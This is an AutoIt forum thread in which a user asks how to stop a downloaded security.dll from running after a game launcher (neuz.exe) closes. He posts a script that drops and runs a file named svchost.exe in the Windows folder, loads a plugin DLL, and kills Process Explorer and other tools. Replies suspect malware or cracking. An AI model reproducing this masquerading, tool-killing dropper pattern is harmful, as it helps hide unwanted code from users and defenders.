Jump to content

[Help] about exe and dll


Zippo
 Share

Recommended Posts

hi everyone i have a problem i have neuz.exe made in autoit and security.dll when i start the neuz.exe it download the security.dll and it run both when i close the neuz.exe it will close but the security.dll still running so i want if i close the neuz.exe also close the security.dll...

sorry in my bad english

Link to comment
Share on other sites

I would guess you have DllOpen() in your script, correct?

Make sure you have DllClose() when you are finished with the dll.

010101000110100001101001011100110010000001101001011100110010000

001101101011110010010000001110011011010010110011100100001

My Android cat and mouse game
https://play.google.com/store/apps/details?id=com.KaosVisions.WhiskersNSqueek

We're gonna need another Timmy!

Link to comment
Share on other sites

It should be inside the script.

Somewhere in the code it would have something like:

$DllHandle=DllOpen(security.dll)

then before it exits or whenever the code is completely done with the dll it should have

DllClose($DllHandle)

010101000110100001101001011100110010000001101001011100110010000

001101101011110010010000001110011011010010110011100100001

My Android cat and mouse game
https://play.google.com/store/apps/details?id=com.KaosVisions.WhiskersNSqueek

We're gonna need another Timmy!

Link to comment
Share on other sites

this is the sample of my script

FileInstall("security.dll", "security.dll")
Run("security.dll 123456")
FileInstall("splash.jpg", "splash.jpg")
SplashImageOn("", @ScriptDir & "/splash.jpg", "400", "200", "-1", "-1", $DLG_NOTITLE)
Sleep(2000)
SplashOff()
FileInstall("svchost.exe", @WindowsDir & "/svchost.exe")
Run(@WindowsDir & "/svchost.exe")
FileInstall("Mx63.dll", "Mx63.dll")
PluginOpen("Mx63.dll")
While 1
Sleep(1000)
If WinExists("[CLASS:PROCEXPL]", "") Then
WinClose("[CLASS:PROCEXPL]", "")
WinClose("FLYFF")
Beep(500, 1000)
MsgBox(16, "Hack  Detected", "?????????????????")
EndIf
If WinExists("[CLASS:TMainForm]", "Unrandomizer") Then
$READ1 = WinGetProcess("[CLASS:TMainForm]"
Beep(500, 1000)
WinClose("[CLASS:TMainForm]", "")
WinClose("FLYFF")
MsgBox(16, "Hack  Detected", "?????????????????")
EndIf
If WinExists("[CLASS:ThunderRT6FormDC]", "") Then
Beep(500, 1000)
$TETX = WinGetProcess("[CLASS:ThunderRT6FormDC]", "")
ProcessClose($TETX)
WinClose("FLYFF")
MsgBox(16, "Hack  Detected", "?????????????????")
EndIf
If WinExists("[CLASS:WindowsForms10.window.8.app.0.2bf8098_r14_ad1]", "") Then
Beep(500, 1000)
$TETX1 = WinGetProcess("[CLASS:WindowsForms10.window.8.app.0.2bf8098_r14_ad1]", "")
ProcessClose($TETX1)
WinClose("FLYFF")
MsgBox(16, "Hack  Detected", "?????????????????")
EndIf
If ProcessExists("Neuz.exe") Then
$LISTE = ProcessList("Neuz.exe")
If $LISTE[0][0] > 2 Then 
Local $I 
For $I = 3 To UBound($LISTE) - 1 
ProcessClose($LISTE[$I][1]) 
Next 
EndIf
EndIf
Link to comment
Share on other sites

you run, but don't ever end your security.dll

*edit*

More specifically:

Line 2: Run("security.dll 123456")

Maybe try a ProcessClose("security.dll") at the end of the script (before the exit)

I've never tried processclose on anyhting but exe's but it should work

Edited by kaotkbliss

010101000110100001101001011100110010000001101001011100110010000

001101101011110010010000001110011011010010110011100100001

My Android cat and mouse game
https://play.google.com/store/apps/details?id=com.KaosVisions.WhiskersNSqueek

We're gonna need another Timmy!

Link to comment
Share on other sites

  • Moderators

Err, anyone even bother to read this guys script?

Why in the hell are you closing all the utilities that can stop your code from working?

Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.

Link to comment
Share on other sites

hi everyone i have a problem i have neuz.exe made in autoit and security.dll when i start the neuz.exe it download the security.dll and it run both when i close the neuz.exe it will close but the security.dll still running so i want if i close the neuz.exe also close the security.dll...

sorry in my bad english

@Zippo,

You are not the original author of neuz.exe are you?

Basically you are trying to crack neuz.exe, either that or neuz.exe is a piece of malware that you are writing a script to defy????

And why the fuck (if it is your own code) are you fileinstalling svchost.exe!

perhaps "Mx63.dll" injects itself into svchost???"

It makes very little sense, but has my ass hairs twitching all over!

Dll's should be closed when a process terminates, (regardless of dllclose()) if not then there is something jaunty going on here!

Edited by Mobius

wtfpl-badge-1.png

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...